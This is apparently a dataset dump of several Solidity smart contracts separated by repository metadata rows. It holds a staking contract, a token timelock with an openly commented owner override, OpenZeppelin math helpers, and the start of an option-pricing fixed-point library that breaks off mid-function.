assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISindex {
function rebase(uint256 INDEXProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract IndexStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Index;
address public immutable sIndex;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Index,
address _sIndex,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Index != address(0));
Index = _Index;
require(_sIndex != address(0));
sIndex = _sIndex;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Index).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISindex(sIndex).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sIndex).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISindex(sIndex).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISindex(sIndex).balanceForGons(info.gons));
IERC20(Index).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sIndex).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Index).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISindex(sIndex).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISindex(sIndex).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISindex(sIndex).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Index).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sIndex).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sIndex).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 111,204 | 10,346 |
f7cc7daa37fe57eb76694b51334da91d25164e3ff6650c1722268674ae30724e
| 11,826 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xDbE26551E32C2Dded264D9AA9404cdbc4F054aEB/contract.sol
| 2,640 | 10,022 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
contract xHunterTimeLock is Ownable{
using SafeERC20 for IERC20;
using SafeMath for uint256;
using Address for address;
// ERC20 basic token contract being held
IERC20 public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
uint256 public deployedTime;
uint256 public tokensClaimed;
uint256 public claimCount;
uint256 private balanceAtFirstClaim;
event Claimed(address beneficiary,
uint256 amount);
constructor(IERC20 _token,
address _beneficiary)
{
// solium-disable-next-line security/no-block-members
require(_beneficiary != address(0), 'beneficiary invalid');
require(address(_token) != address(0), 'token invalid');
deployedTime = block.timestamp;
token = _token;
beneficiary = _beneficiary;
releaseTime = deployedTime + 10 minutes;//_releaseTime;
}
function claim() public {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= releaseTime, 'Not time to unlock yet');
uint256 amount = token.balanceOf(address(this));
require(amount > 0, 'Nothing left to unlock');
if (balanceAtFirstClaim == 0)
balanceAtFirstClaim = amount;
if (claimCount < 2) {
amount = balanceAtFirstClaim.div(3);
} else {
amount = token.balanceOf(address(this));
}
releaseTime = block.timestamp + 10 minutes;
tokensClaimed += amount;
claimCount +=1;
token.safeTransfer(beneficiary, amount);
emit Claimed(beneficiary, amount);
}
function tokensHeldInTrust() view external returns(uint256 tokensHeld) {
return token.balanceOf(address(this));
}
// a fail safe in case of contract issue
// allows the admin to relese token to
// beneficiary immediately
function allowImmediateClaim() external onlyOwner {
releaseTime = block.timestamp;
}
}
| 251,630 | 10,347 |
566b658a2741418d42cf3852953279a963cf5a7bcd76a8e8593c47dcec60399e
| 12,517 |
.sol
|
Solidity
| false |
573600645
|
hypercerts-org/hypercerts
|
cdbad70298753d24e9f9360b2538e18aae023937
|
contracts/lib/openzeppelin-contracts-upgradeable/contracts/utils/math/MathUpgradeable.sol
| 2,420 | 8,626 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
library MathUpgradeable {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
| 61,985 | 10,348 |
00904f553f0c37a47169231c6bed2bad8b910187d741f486dbbb8dd99be2a6c3
| 12,145 |
.sol
|
Solidity
| false |
377072251
|
deri-protocol/deriprotocol-v2
|
b4a23cf53683b5ad95bfe407a16a901361116a82
|
contracts/library/EverlastingOptionPricing.sol
| 5,839 | 11,518 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
contract EverlastingOptionPricing {
uint128 private constant TWO127 = 0x80000000000000000000000000000000; // 2^127
uint128 private constant TWO128_1 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; // 2^128 - 1
int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
int256 private constant ONE = 10**18;
uint256 private constant UONE = 10**18;
function utoi(uint256 a) internal pure returns (int256) {
require(a <= 2**255 - 1);
return int256(a);
}
function itou(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
function int256To128(int256 a) internal pure returns (int128) {
require(a >= -2**127);
require(a <= 2**127 - 1);
return int128(a);
}
function mostSignificantBit (uint256 x) internal pure returns (uint8 r) {
require (x > 0);
if (x >= 0x100000000000000000000000000000000) {x >>= 128; r += 128;}
if (x >= 0x10000000000000000) {x >>= 64; r += 64;}
if (x >= 0x100000000) {x >>= 32; r += 32;}
if (x >= 0x10000) {x >>= 16; r += 16;}
if (x >= 0x100) {x >>= 8; r += 8;}
if (x >= 0x10) {x >>= 4; r += 4;}
if (x >= 0x4) {x >>= 2; r += 2;}
if (x >= 0x2) r += 1; // No need to shift x anymore
}
function _log_2 (uint256 x) internal pure returns (int256) {
require (x > 0);
uint8 msb = mostSignificantBit (x);
if (msb > 128) x >>= msb - 128;
else if (msb < 128) x <<= 128 - msb;
x &= TWO128_1;
int256 result = (int256 (uint256(msb)) - 128) << 128; // Integer part of log_2
int256 bit = int256(uint256(TWO127));
for (uint8 i = 0; i < 128 && x > 0; i++) {
x = (x << 1) + ((x * x + TWO127) >> 128);
if (x > TWO128_1) {
result |= bit;
x = (x >> 1) - TWO127;
}
bit >>= 1;
}
return result;
}
function _exp_2 (int128 x) internal pure returns (int128) {
unchecked {
require (x < 0x400000000000000000); // Overflow
if (x < -0x400000000000000000) return 0; // Underflow
uint256 result = 0x80000000000000000000000000000000;
if (x & 0x8000000000000000 > 0)
result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;
if (x & 0x4000000000000000 > 0)
result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;
if (x & 0x2000000000000000 > 0)
result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;
if (x & 0x1000000000000000 > 0)
result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;
if (x & 0x800000000000000 > 0)
result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;
if (x & 0x400000000000000 > 0)
result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;
if (x & 0x200000000000000 > 0)
result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;
if (x & 0x100000000000000 > 0)
result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;
if (x & 0x80000000000000 > 0)
result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;
if (x & 0x40000000000000 > 0)
result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;
if (x & 0x20000000000000 > 0)
result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;
if (x & 0x10000000000000 > 0)
result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;
if (x & 0x8000000000000 > 0)
result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;
if (x & 0x4000000000000 > 0)
result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;
if (x & 0x2000000000000 > 0)
result = result * 0x1000162E525EE054754457D5995292026 >> 128;
if (x & 0x1000000000000 > 0)
result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;
if (x & 0x800000000000 > 0)
result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;
if (x & 0x400000000000 > 0)
result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;
if (x & 0x200000000000 > 0)
result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;
if (x & 0x100000000000 > 0)
result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;
if (x & 0x80000000000 > 0)
result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;
if (x & 0x40000000000 > 0)
result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;
if (x & 0x20000000000 > 0)
result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;
if (x & 0x10000000000 > 0)
result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;
if (x & 0x8000000000 > 0)
result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;
if (x & 0x4000000000 > 0)
result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;
if (x & 0x2000000000 > 0)
result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;
if (x & 0x1000000000 > 0)
result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;
if (x & 0x800000000 > 0)
result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;
if (x & 0x400000000 > 0)
result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;
if (x & 0x200000000 > 0)
result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;
if (x & 0x100000000 > 0)
result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;
if (x & 0x80000000 > 0)
result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;
if (x & 0x40000000 > 0)
result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;
if (x & 0x20000000 > 0)
result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;
if (x & 0x10000000 > 0)
result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;
if (x & 0x8000000 > 0)
result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;
if (x & 0x4000000 > 0)
result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;
if (x & 0x2000000 > 0)
result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;
if (x & 0x1000000 > 0)
result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;
if (x & 0x800000 > 0)
result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;
if (x & 0x400000 > 0)
result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;
if (x & 0x200000 > 0)
result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;
if (x & 0x100000 > 0)
result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;
if (x & 0x80000 > 0)
result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;
if (x & 0x40000 > 0)
result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;
if (x & 0x20000 > 0)
result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;
if (x & 0x10000 > 0)
result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;
if (x & 0x8000 > 0)
result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;
if (x & 0x4000 > 0)
result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;
if (x & 0x2000 > 0)
result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;
if (x & 0x1000 > 0)
result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;
if (x & 0x800 > 0)
result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;
if (x & 0x400 > 0)
result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;
if (x & 0x200 > 0)
result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;
if (x & 0x100 > 0)
result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;
if (x & 0x80 > 0)
result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;
if (x & 0x40 > 0)
result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;
if (x & 0x20 > 0)
result = result * 0x100000000000000162E42FEFA39EF366F >> 128;
if (x & 0x10 > 0)
